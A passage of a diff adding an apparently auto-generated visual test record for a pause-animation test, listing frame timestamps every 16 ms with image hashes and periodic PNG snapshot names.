+ hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 560 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 576 + hash: "c1a7b7d6d64ac5584c073c2881290696" + } + Frame { + msec: 592 + hash: "c1a7b7d6d64ac5584c073c2881290696" + } + Frame { + msec: 608 + hash: "4ac43a03cc6f2020ab5f894d704092ac" + } + Frame { + msec: 624 + hash: "4ac43a03cc6f2020ab5f894d704092ac" + } + Frame { + msec: 640 + hash: "ffd39c1122fe2f7877ef30591b539b40" + } + Frame { + msec: 656 + hash: "62a7133012348f2ec3a388fb685ecc3f" + } + Frame { + msec: 672 + hash: "45281a70021f81dbef30334b1480da1b" + } + Frame { + msec: 688 + hash: "6cc9de62a0c8fa5e42eac1b01e99ac32" + } + Frame { + msec: 704 + hash: "79ec710576427df73dd03f39fba6e2eb" + } + Frame { + msec: 720 + hash: "5be4f5c67941efb6fcea363c79f1e321" + } + Frame { + msec: 736 + hash: "7d9096b1eb940c82a37baf39ef3ccf3e" + } + Frame { + msec: 752 + hash: "e87b00bfc2c2a75a4234ec02a057ad3a" + } + Frame { + msec: 768 + hash: "da60100dc55023c3bab367d97c8f6a85" + } + Frame { + msec: 784 + hash: "dc98a9bdd99367c1e9b838d4be489dcc" + } + Frame { + msec: 800 + hash: "3f869538028a09020d5e8f528f4fb119" + } + Frame { + msec: 816 + hash: "9650fd0364c01b11e4f5dcce51d008af" + } + Frame { + msec: 832 + hash: "2cb09d9655ecc30ae6a591b28c0d355c" + } + Frame { + msec: 848 + hash: "4db9bc6c11caf1d77794c2eabb62a44e" + } + Frame { + msec: 864 + hash: "ce2b5dd7418868acf86fea6ad19cc0c5" + } + Frame { + msec: 880 + hash: "7c27ef654e645679c90520d6cf00b0c4" + } + Frame { + msec: 896 + hash: "ab3e211df3ef7f5f7a8d712edc891c0f" + } + Frame { + msec: 912 + hash: "19d2ae617a49b57dd012677e2834469c" + } + Frame { + msec: 928 + hash: "5025eb75c88f0760f637e0342b7f88a2" + } + Frame { + msec: 944 + hash: "005acbef952a8ee536e6308a48223e65" + } + Frame { + msec: 960 + image: "pauseAnimation.0.png" + } + Frame { + msec: 976 + hash: "5f18a81707f23d377e81a27c1fc41ce9" + } + Frame { + msec: 992 + hash: "bcc35497884c158396c7f60759d1fda4" + } + Frame { + msec: 1008 + hash: "7a4528b000a4ea142d1c77407fa1f581" + } + Frame { + msec: 1024 + hash: "ba967a7d810a4531e577e5f6bd2def33" + } + Frame { + msec: 1040 + hash: "f5afd9cf8ffe27e9992454b9e68688cb" + } + Frame { + msec: 1056 + hash: "51d475c7f64a86d3a18fb115297a7b6b" + } + Frame { + msec: 1072 + hash: "49f5d6fd45c195a8d245b7fefc1277ab" + } + Frame { + msec: 1088 + hash: "f9b0b278659e3a0f78611e6b7f0f2176" + } + Frame { + msec: 1104 + hash: "0809d32d5bc1bfce199b1f39a1c68d4f" + } + Frame { + msec: 1120 + hash: "b7208d103b63a936dff8dd8ed224237f" + } + Frame { + msec: 1136 + hash: "a57c81049b0dc68090ec7c3327b9922c" + } + Frame { + msec: 1152 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 1168 + hash: "af3120fe262d2489c0ed33fbbee1549f" + } + Frame { + msec: 1184 + hash: "0c20d12464abbdc45041ea5d9f2719b1" + } + Frame { + msec: 1200 + hash: "dd60cbaff6f34027474e92315dbc0ebc" + } + Frame { + msec: 1216 + hash: "336d31586171f22d541b989d24b95cbb" + } + Frame { + msec: 1232 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 1248 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 1264 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 1280 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 1296 + hash: "336d31586171f22d541b989d24b95cbb" + } + Frame { + msec: 1312 + hash: "f0d8132489c2f2ef760e905b3c093726" + } + Frame { + msec: 1328 + hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" + } + Frame { + msec: 1344 + hash: "dd60cbaff6f34027474e92315dbc0ebc" + } + Frame { + msec: 1360 + hash: "ef8941674cb61f54853dc33652bb854e" + } + Frame { + msec: 1376 + hash: "bc426fb7c31751665b0d3f16e2cb0173" + } + Frame { + msec: 1392 + hash: "0c20d12464abbdc45041ea5d9f2719b1" + } + Frame { + msec: 1408 + hash: "53ae93140252373eaa4d9da73756bd8e" + } + Frame { + msec: 1424 + hash: "721d7061811b5439c2e8e395917494bc" + } + Frame { + msec: 1440 + hash: "af3120fe262d2489c0ed33fbbee1549f" + } + Frame { + msec: 1456 + hash: "a8b624ebfc9ab713d1ce55f318a6e90d" + } + Frame { + msec: 1472 + hash: "a88a8129259f86df5a73addc3649ad37" + } + Frame { + msec: 1488 + hash: "a88a8129259f86df5a73addc3649ad37" + } + Frame { + msec: 1504 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 1520 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 1536 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 1552 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 1568 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 1584 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 1600 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 1616 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 1632 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 1648 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 1664 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 1680 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 1696 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 1712 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 1728 + hash: "a88a8129259f86df5a73addc3649ad37" + } + Frame { + msec: 1744 + hash: "a8b624ebfc9ab713d1ce55f318a6e90d" + } + Frame { + msec: 1760 + hash: "a8b624ebfc9ab713d1ce55f318a6e90d" + } + Frame { + msec: 1776 + hash: "af3120fe262d2489c0ed33fbbee1549f" + } + Frame { + msec: 1792 + hash: "721d7061811b5439c2e8e395917494bc" + } + Frame { + msec: 1808 + hash: "b3f4a2165ec1ee971542b8ef89656cea" + } + Frame { + msec: 1824 + hash: "0c20d12464abbdc45041ea5d9f2719b1" + } + Frame { + msec: 1840 + hash: "bc426fb7c31751665b0d3f16e2cb0173" + } + Frame { + msec: 1856 + hash: "ef8941674cb61f54853dc33652bb854e" + } + Frame { + msec: 1872 + hash: "dd60cbaff6f34027474e92315dbc0ebc" + } + Frame { + msec: 1888 + hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" + } + Frame { + msec: 1904 + hash: "e74fe4a6bd92cbe8629c8bc8a870104d" + } + Frame { + msec: 1920 + image: "pauseAnimation.1.png" + } + Frame { + msec: 1936 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 1952 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 1968 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 1984 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2000 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 2016 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 2032 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 2048 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 2064 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 2080 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 2096 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2112 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2128 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2144 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2160 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2176 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2192 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2208 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 2224 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 2240 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 2256 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 2272 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 2288 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 2304 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 2320 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2336 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2352 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2368 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2384 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2400 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2416 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 2432 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 2448 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2464 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2480 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2496 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 2512 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2528 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2544 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2560 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2576 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2592 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2608 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2624 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2640 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2656 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2672 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2688 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2704 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2720 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2736 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2752 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2768 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2784 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2800 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2816 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2832 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2848 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2864 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2880 + image: "pauseAnimation.2.png" + } + Frame { + msec: 2896 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2912 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2928 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2944 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2960 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2976 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2992 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3008 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3024 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3040 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3056 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3072 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3088 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3104 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3120 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3136 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3152 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3168 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3184 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3200 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3216 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3232 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3248 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3264 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3280 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3296 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3312 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3328 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3344 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3360 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3376 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3392 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3408 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3424 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3440 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3456 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3472 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3488 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3504 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3520 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3536 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3552 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 3568 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 3584 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 3600 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 3616 + hash: "e74fe4a6bd92cbe8629c8bc8a870104d" + } + Frame { + msec: 3632 + hash: "e11455d4e23a5a865e222a7aba4ba4f9" + } + Frame { + msec: 3648 + hash: "8757668e56be6449ec375f0b8fed1be3" + } + Frame { + msec: 3664 + hash: "53ae93140252373eaa4d9da73756bd8e" + } + Frame { + msec: 3680 + hash: "a88a8129259f86df5a73addc3649ad37" + } + Frame { + msec: 3696 + hash: "630d90eef2673a69e8ebc4ef1ba40e81" + } + Frame { + msec: 3712 + hash: "b7208d103b63a936dff8dd8ed224237f" + } + Frame { + msec: 3728 + hash: "1516c3547c7cf64832b3bc7da7c44521" + } + Frame { + msec: 3744 + hash: "49f5d6fd45c195a8d245b7fefc1277ab" + } + Frame { + msec: 3760 + hash: "f5afd9cf8ffe27e9992454b9e68688cb" + } + Frame { + msec: 3776 + hash: "7a4528b000a4ea142d1c77407fa1f581" + } + Frame { + msec: 3792 + hash: "5f18a81707f23d377e81a27c1fc41ce9" + } + Frame { + msec: 3808 + hash: "005acbef952a8ee536e6308a48223e65" + } + Frame { + msec: 3824 + hash: "85c135ef72d3d25658a3663e69ffb7c2" + } + Frame { + msec: 3840 + image: "pauseAnimation.3.png" + } + Frame { + msec: 3856 + hash: "20258f07c613958c32f783466771391a" + } + Frame { + msec: 3872 + hash: "9650fd0364c01b11e4f5dcce51d008af" + } + Frame { + msec: 3888 + hash: "f340cdf60c6d4c29d26b7202a093ec70" + } + Frame { + msec: 3904 + hash: "d754d35d0793f9f7d4f6249a874e4c45" + } + Frame { + msec: 3920 + hash: "79ec710576427df73dd03f39fba6e2eb" + } + Frame { + msec: 3936 + hash: "45281a70021f81dbef30334b1480da1b" + } + Frame { + msec: 3952 + hash: "ffd39c1122fe2f7877ef30591b539b40" + } + Frame { + msec: 3968 + hash: "4ac43a03cc6f2020ab5f894d704092ac" + } + Frame { + msec: 3984 + hash: "c1a7b7d6d64ac5584c073c2881290696" + } + Frame { + msec: 4000 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 4016 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 4032 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 4048 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 4064 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 4080 + hash: "c1a7b7d6d64ac5584c073c2881290696" + } + Frame { + msec: 4096 + hash: "c1a7b7d6d64ac5584c073c2881290696" + } + Frame { + msec: 4112 + hash: "4ac43a03cc6f2020ab5f894d704092ac" + } + Frame { + msec: 4128 + hash: "4ac43a03cc6f2020ab5f894d704092ac" + } + Frame { + msec: 4144 + hash: "ffd39c1122fe2f7877ef30591b539b40" + } + Frame { + msec: 4160 + hash: "62a7133012348f2ec3a388fb685ecc3f" + } + Frame { + msec: 4176 + hash: "45281a70021f81dbef30334b1480da1b" + } + Frame { + msec: 4192 + hash: "6cc9de62a0c8fa5e42eac1b01e99ac32" + } + Frame { + msec: 4208 + hash: "79ec710576427df73dd03f39fba6e2eb" + } + Frame { + msec: 4224 + hash: "5be4f5c67941efb6fcea363c79f1e321" + } + Frame { + msec: 4240 + hash: "7d9096b1eb940c82a37baf39ef3ccf3e" + } + Frame { + msec: 4256 + hash: "e87b00bfc2c2a75a4234ec02a057ad3a" + } + Frame { + msec: 4272 + hash: "da60100dc55023c3bab367d97c8f6a85" + } + Frame { + msec: 4288 + hash: "dc98a9bdd99367c1e9b838d4be489dcc" + } + Frame { + msec: 4304 + hash: "b2c778a5eff5f01edc54f03d8b4de8c7" + } + Frame { + msec: 4320 + hash: "9650fd0364c01b11e4f5dcce51d008af" + } + Frame { + msec: 4336 + hash: "2cb09d9655ecc30ae6a591b28c0d355c" + } + Frame { + msec: 4352 + hash: "4db9bc6c11caf1d77794c2eabb62a44e" + } + Frame { + msec: 4368 + hash: "ce2b5dd7418868acf86fea6ad19cc0c5" + } + Frame { + msec: 4384 + hash: "c4f844ee71f23635bb3ec7375f6a134f" + } + Frame { + msec: 4400 + hash: "4e1fda8a0495ef968c1cffb1257426d7" + } + Frame { + msec: 4416 + hash: "19d2ae617a49b57dd012677e2834469c" + } + Frame { + msec: 4432 + hash: "f438e8d2c16b5de677924c8411219b19" + } + Frame { + msec: 4448 + hash: "005acbef952a8ee536e6308a48223e65" + } + Frame { + msec: 4464 + hash: "87b71778d52cd8563d171151d4d32407" + } + Frame { + msec: 4480 + hash: "691cd8bf5c7802ff6c5024827a379fc6" + } + Frame { + msec: 4496 + hash: "ab442c0173c3d221b6782d28001dac77" + } + Frame { + msec: 4512 + hash: "6f886d4538704c2fad4d84c68214109f" + } + Frame { + msec: 4528 + hash: "56d39f233fae41c60499d6161f891cbc" + } + Frame { + msec: 4544 + hash: "95d987c3fd1352fb81c42c63634fe53b" + } + Frame { + msec: 4560 + hash: "96dc84c0c548021910e7c5b580179054" + } + Frame { + msec: 4576 + hash: "ddb71cbd57f6e43744d533d4f72b08db" + } + Frame { + msec: 4592 + hash: "f7ab4b197bea455b22f259913438d207" + } + Frame { + msec: 4608 + hash: "2ad64cb01c9d50e0118d5ece0a644df2" + } + Frame { + msec: 4624 + hash: "6579681c59dd571df0ee4429d74fb5c7" + } + Frame { + msec: 4640 + hash: "630d90eef2673a69e8ebc4ef1ba40e81" + } + Frame { + msec: 4656 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 4672 + hash: "721d7061811b5439c2e8e395917494bc" + } + Frame { + msec: 4688 + hash: "bc426fb7c31751665b0d3f16e2cb0173" + } + Frame { + msec: 4704 + hash: "e11455d4e23a5a865e222a7aba4ba4f9" + } + Frame { + msec: 4720 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 4736 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 4752 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 4768 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 4784 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 4800 + image: "pauseAnimation.4.png" + } + Frame { + msec: 4816 + hash: "f0d8132489c2f2ef760e905b3c093726" + } + Frame { + msec: 4832 + hash: "e11455d4e23a5a865e222a7aba4ba4f9" + } + Frame { + msec: 4848 + hash: "dd60cbaff6f34027474e92315dbc0ebc" + } + Frame { + msec: 4864 + hash: "8757668e56be6449ec375f0b8fed1be3" + } + Frame { + msec: 4880 + hash: "bc426fb7c31751665b0d3f16e2cb0173" + } + Frame { + msec: 4896 + hash: "b3f4a2165ec1ee971542b8ef89656cea" + } + Frame { + msec: 4912 + hash: "53ae93140252373eaa4d9da73756bd8e" + } + Frame { + msec: 4928 + hash: "721d7061811b5439c2e8e395917494bc" + } + Frame { + msec: 4944 + hash: "af3120fe262d2489c0ed33fbbee1549f" + } + Frame { + msec: 4960 + hash: "a8b624ebfc9ab713d1ce55f318a6e90d" + } + Frame { + msec: 4976 + hash: "a88a8129259f86df5a73addc3649ad37" + } + Frame { + msec: 4992 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 5008 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 5024 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 5040 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 5056 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5072 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5088 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5104 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5120 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5136 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5152 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5168 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 5184 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 5200 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 5216 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 5232 + hash: "a88a8129259f86df5a73addc3649ad37" + } + Frame { + msec: 5248 + hash: "a8b624ebfc9ab713d1ce55f318a6e90d" + } + Frame { + msec: 5264 + hash: "af3120fe262d2489c0ed33fbbee1549f" + } + Frame { + msec: 5280 + hash: "721d7061811b5439c2e8e395917494bc" + } + Frame { + msec: 5296 + hash: "53ae93140252373eaa4d9da73756bd8e" + } + Frame { + msec: 5312 + hash: "b3f4a2165ec1ee971542b8ef89656cea" + } + Frame { + msec: 5328 + hash: "0c20d12464abbdc45041ea5d9f2719b1" + } + Frame { + msec: 5344 + hash: "8757668e56be6449ec375f0b8fed1be3" + } + Frame { + msec: 5360 + hash: "ef8941674cb61f54853dc33652bb854e" + } + Frame { + msec: 5376 + hash: "e11455d4e23a5a865e222a7aba4ba4f9" + } + Frame { + msec: 5392 + hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" + } + Frame { + msec: 5408 + hash: "e74fe4a6bd92cbe8629c8bc8a870104d" + } + Frame { + msec: 5424 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5440 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 5456 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 5472 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 5488 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5504 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 5520 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 5536 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 5552 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 5568 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 5584 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 5600 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5616 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5632 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5648 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5664 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5680 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5696 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5712 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5728 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 5744 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 5760 + image: "pauseAnimation.5.png" + } + Frame { + msec: 5776 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 5792 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 5808 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 5824 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5840 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 5856 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5872 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5888 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5904 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5920 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 5936 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 5952 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5968 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5984 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 6000 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 6016 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6032 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6048 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6064 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6080 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6096 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6112 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6128 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6144 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6160 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6176 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6192 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6208 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6224 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6240 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6256 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6272 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6288 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6304 + hash: 